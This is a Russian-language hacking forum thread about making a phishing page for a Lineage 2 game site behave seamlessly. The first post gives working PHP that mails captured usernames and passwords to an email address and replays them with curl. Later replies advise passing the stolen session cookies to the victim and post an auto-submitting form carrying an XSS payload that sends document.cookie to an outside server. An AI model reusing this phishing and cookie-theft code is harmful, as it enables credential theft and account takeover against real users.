Вопрос по curl

Discussion in 'PHP' started by IgrikX, 28 Feb 2010.

  1. IgrikX

    IgrikX New Member

    Joined:
    13 Aug 2009
    Messages:
    114
    Likes Received:
    1
    Reputations:
    -3
    Вообщем, сделал фэйковую страницу одного сайта, при вводе логина и пароля на моём сайте (фэйковом), отправляю логин и пароль на ящик, потом с помощь curl авторизируюсь на сайте, вроде авторизируеться, но после редиректа на сайт, пишет что не авторизиравано! Как сделать так, что бы после редиректа, юзер был авторизированным на сайте?

    PHP:

    <?php
    /*обработчик*/
    $name $_POST['sw_name'];
    $pass $_POST['sw_pass'];
    //echo "Имя - $name\n"; 
    //echo "Пароль - $pass";
    mail("igorpeshko@mail.ru""Lineage 2""Ima - $name, Pass - $pass");

    $ch curl_init(); // создаёт соединение
    curl_setopt($chCURLOPT_URL"http://la2.byfly.by/"); /* Переходим на страницу, на которой нужно пройти процедуру авторизации */
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS"sw_name=$name&sw_pass=$pass&sw_do_login=1"); /* Внимание! Здесь необходимо передать параметры, полученные Вами от сниффера – параметры разделяются знаком & */
    curl_setopt($chCURLOPT_COOKIEJAR,$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
    $result curl_exec($ch);
    curl_setopt($chCURLOPT_URL"http://la2.byfly.by/"); /* Теперь заходите на сайт как авторизованный пользователь – в данном случае нужно вместо example.com указать URL страницы, на которую может попасть только авторизованный пользователь */
    curl_setopt($chCURLOPT_POST0); /* Также необязательное действие, но я указал этот параметр – устанавливаю CURLOPT_POST в нуль, ведь теперь мне не нужно передавать данные методом POST */
    curl_setopt($chCURLOPT_COOKIEFILE$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt'); /* Внимание! Здесь третий параметр (адрес текстового файла с куками) должен быть точно таким же, как и при использовании CURLOPT_COOKIEJAR, иначе процедура авторизации работать не будет, так как требуемые серверу Куки не передадутся */
    $result curl_exec($ch);
    curl_close($ch);
    echo 
    $result;
    ?>

    <meta http-equiv="refresh" content="10;url=http://la2.byfly.by/">
     
  2. undef

    undef New Member

    Joined:
    23 Sep 2009
    Messages:
    19
    Likes Received:
    4
    Reputations:
    5
    необходмо с помощью setcookie отдать пользователю те куки, которые сохранены в cookiefile.txt.
    читай php.net/setcookie. Это пройдет только в случае, когда проверяется только идентификатор сессии, но не ip-адрес.
     
  3. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    Послать юзера на страницу в которой есть ифрейм, и в ифрейме автосабмитом авторизоваться на целевом сайте.

    Таким макаром ты присвоиш куки которые будут действовать только для фейкового сайта, чужому сайту ты не присвоиш куки.
     
    _________________________
  4. IgrikX

    IgrikX New Member

    Joined:
    13 Aug 2009
    Messages:
    114
    Likes Received:
    1
    Reputations:
    -3
    b3, авторизоваться автосабмитом, это как понять?
     
  5. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    Ну ето когда ты передираеш форму авторизации с нужного сайта, заполняеш её поля, и потом при помощи JS жмеш кнопку "войти".
    PHP:
    <form name="mainForm3" method="post" action="http://********/"
    <
    input type="text" name="orderID" value="1"></p
    <
    input type="text" name="customer_email" value='"><script>document.location.href="http://**.**.***.***/save.php?cookie="+document.cookie;</script>'
    <
    input type="submit" name="find" value="Проверить статус"
    </
    form
    <
    script>document.mainForm3.submit();</script> 
    Вот маленький пример, но тут не авторизация, но смысл тот же.
     
    _________________________